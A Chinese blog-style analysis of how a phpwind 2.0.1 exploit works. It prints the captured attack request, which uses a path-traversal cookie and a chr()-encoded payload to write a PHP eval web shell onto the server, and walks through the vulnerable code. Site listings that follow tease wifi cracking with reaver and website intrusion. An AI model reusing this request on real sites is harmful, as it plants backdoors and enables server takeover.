剖析phpwind2.0.1漏洞是怎么产生的?
猫猫传给我一个phpwind2.0.1漏洞利用程序,可以直接在目录中写入一个木马。怎么说呢,这个漏洞是pinkeyes发现的,本文旨在分析这个漏洞的思路。直到发现这个漏洞是怎么产生的,我还在冒虚汗中,同时pinkeyes 的睿智深深的打动了我,原来我才明白什么才是真正的技术含量。
且听我慢慢道来:
在程序运行时,我抓了一个包:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?>HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, **
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Chr()里的那些东西我查了一下ascii字符表,得到的是这样的:
。
所以关键是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 2.0.1的程序看看,开始以为是job.php有问题。进入job.php中,只发现如下代码:
elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同时也发现了$skin一定有问题,job.php文件头有个:require_once("./global.php");
接着我们来看看global.php里面的$skin参数吧:
if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我们定义了$skinco就可以满足$skin了!所以再找找$skinco吧,$skinco只有一处解释,其后,并没有做任何过滤:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好轻松,只要存在就可以?这样只要构造一个cookie就完全可以实现。咦?$skinco我们好象哪里见过。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
这样就更加证明我的思路是正确的,风回路转呀。又不得不佩服这样精彩的手法,按照pinkeyes的思路:构造后应该是这样的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
这样也就是满足了job.php中的
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到这里,先告一段落,我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件:./require/hidden.php。这就奇怪了,为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢?直接利用不可以吗?这个hidden.php到底是个什么样的文件呢?恩,下面的解释会让你有一个满意的答案。
我小心翼翼的打开hidden.php
!function_exists('readover') && exit('Forbidden');
$newonline="<>t$timestampt$onlineipt$fidwtt$tidwtt$groupidt$wherebbsyout$acttimet$uidt$windidt";
$newonline=str_pad($newonline,$db_olsize)."n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"t".$windid."t")){
$inselectfile='N';
$offset=strpos($onlineuser,"n",$offset-$db_olsize);$offset+=1;
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>
看到这里,所有的疑团都解开了!
1.原来文件头多了个
!function_exists('readover') && exit('Forbidden');
这样直接访问是不允许的,后面的代码也不会执行,这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件
2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt,所以最后的writeline()把$tidwt也写进去了。
写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了,只要使$tidwt为编码:就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用
写入一个更简单的木马到error.php里!这样才多了我们抓的第二个包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
后记:我感觉自己写侦探小说还不错,技术嘛,哎。。。。
windowsxp系统怎么设置隐藏密码?
随着电脑硬件价格的不断下跌,笔者的“老爷机”通过升级终于又重振雄风,也跑上了双系统(Windows XP和Windows 2000)。由于电脑放在宿舍里,自然也就成了“公共产品”,但在Windows 2000系统中有许多设置确实
详情2018-01-16 13:30:22责编:llp 来源:驱动管家linux系统怎么破解wifi密码?使用reaver工具是一种方法
需要工具:reaver原理:穷举PIN码以攻破无线路由器的安全防护安装:下载源码从这个网址下载reaver源代码http: code google com p reaver-wpswget http: reaver-wps googlecode com files reaver-1 4 tar gz解
详情2018-01-17 11:04:37责编:llp 来源:驱动管家怎么用电炉抓肉鸡?电炉抓肉鸡有哪些步骤?
我用“电驴”抓肉鸡!!难道是放一个“电驴”在路上,等“火鸡”过来,一不小心踩在“电驴”上结果给烫熟了,结果就成“肉鸡”了。很多朋友说抓肉鸡很难,找好肉鸡就更难,其实也不然,关键就在于敢动脑子。没有
详情2018-01-20 16:46:53责编:llp 来源:驱动管家远程安全扫描器nessus有哪些优点?nessus扫描的步骤是什么?
漏洞扫描就是对计算机系统或者其它网络设备进行安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。显然,漏洞扫描软件是把双刃剑,黑客利用它入侵系统,而系统管理员掌握它以后又可以有效的防范黑客入侵。因
详情2018-01-28 11:02:29责编:llp 来源:驱动管家eset卸载不干净?教你手动彻底卸载eset的方法
如何手动卸载ESET安全产品?KB的解决方案ID:SOLN2289 |最后修改:2010年4月15日在试图手动卸载ESET安全产品,第一次尝试使用安装ESET开始菜单卸载程序与ESET聪明的安全4 x或ESET NOD32防毒软件4 x的规定点击这
详情2018-02-11 08:44:12责编:llp 来源:驱动管家iphoto有什么功能?iphoto的格式串漏洞怎么修复?
受影响系统:Apple iPhoto & 39;08 7 1不受影响系统:Apple iPhoto 7 1 2描述:BUGTRAQ ID: 27636CVE(CAN) ID: CVE-2008-0043iPhoto是用于导入、组织和共享数码照片的工具。iPhoto在处理photocast订阅时
详情2018-01-26 17:35:10责编:llp 来源:驱动管家瑞星杀毒软件怎么用?使用瑞星杀毒软件网络版的注意事项
瑞星杀毒软件网络版可以对网络内的计算机进行统一的安装、设置、管理、维护和升级,从而为企业网络提供完善的病毒防范体系。对于初次接触瑞星杀毒软件网络版的用户来讲,使用经验的缺乏和对产品功能的不熟悉都可
详情2018-01-15 14:04:48责编:llp 来源:驱动管家入侵linux系统网站的报告,教你如何入侵网站
我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那
详情2018-02-24 17:27:38责编:llp 来源:驱动管家怎么做后台deamon来控制安全访问?这里有个后台脚本
系统为了某些功能必须要提供一些服务(不论是系统本身还是网络方面),这个服务就称为service。而实现这个service的程序我们就称它为daemon。实现某个服务是需要一个daemon在后台中运行,没有这个daemon就不会有s
详情2018-02-02 14:59:08责编:llp 来源:驱动管家网站入侵有什么技巧?要先查看源文件
如果是html格式的站我们先打开网站,然后单击鼠标右键 按查看源文件-编辑-查找 ,输入asp 看有没有网站ASP文件或ASP带参数1:注入点先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾
详情2018-01-28 13:36:54责编:llp 来源:驱动管家
- 360新闻总是出现弹窗要怎么关闭?怎样取消360新闻弹窗?
- 微鲸投影最佳投射距离是多少?微鲸投影仪如何计算投射画面尺寸
- 【游戏资讯】绝地求生大逃杀2月24日更新内容介绍 2月24日更新了什么
- Bios密码能不能设置?怎么设置Bios密码
- 指纹识别手机:酷派note3多少钱?价格在一千五以内
- 拨号连接设置自动上网断网的方法是什么?拨号连接设置方法
- ibm db2中有哪些加密函数?这些加密函数怎么用?
- 3d打印机是怎么用的?3d打印机的操作方法是什么?
- 身份证正反面怎么复印?惠普M126nw打印机复印身份证正反面教程
- 【游戏攻略】绝地求生如何打房战?老年人房战指南
- 【游戏攻略】《绝地求生》2月23日更新内容解析 2月23日更新了什么
- GIF图片能不能打开?win7怎么打开GIF图片
- 电脑开机之后没反应是怎么回事?电脑开机没反应如何解决
- 大神note版本有哪些?大神note3各版本区别是什么?
- 大神f2全网通评测 大神f2全网通可以买吗?
- 百度输入法怎么自定义字体?百度输入法设置教程
- 讯时网站存在哪些漏洞?如何获得讯时网站权限?
- 手动安装驱动报错“数据错误(循环冗余检查)”是什么原因?怎么解决
- 360开机小助手怎么关闭?提示开始时间的360开机小助手关闭方法
- 天网防火墙安装好后怎样手动配置?天网防火墙配置方法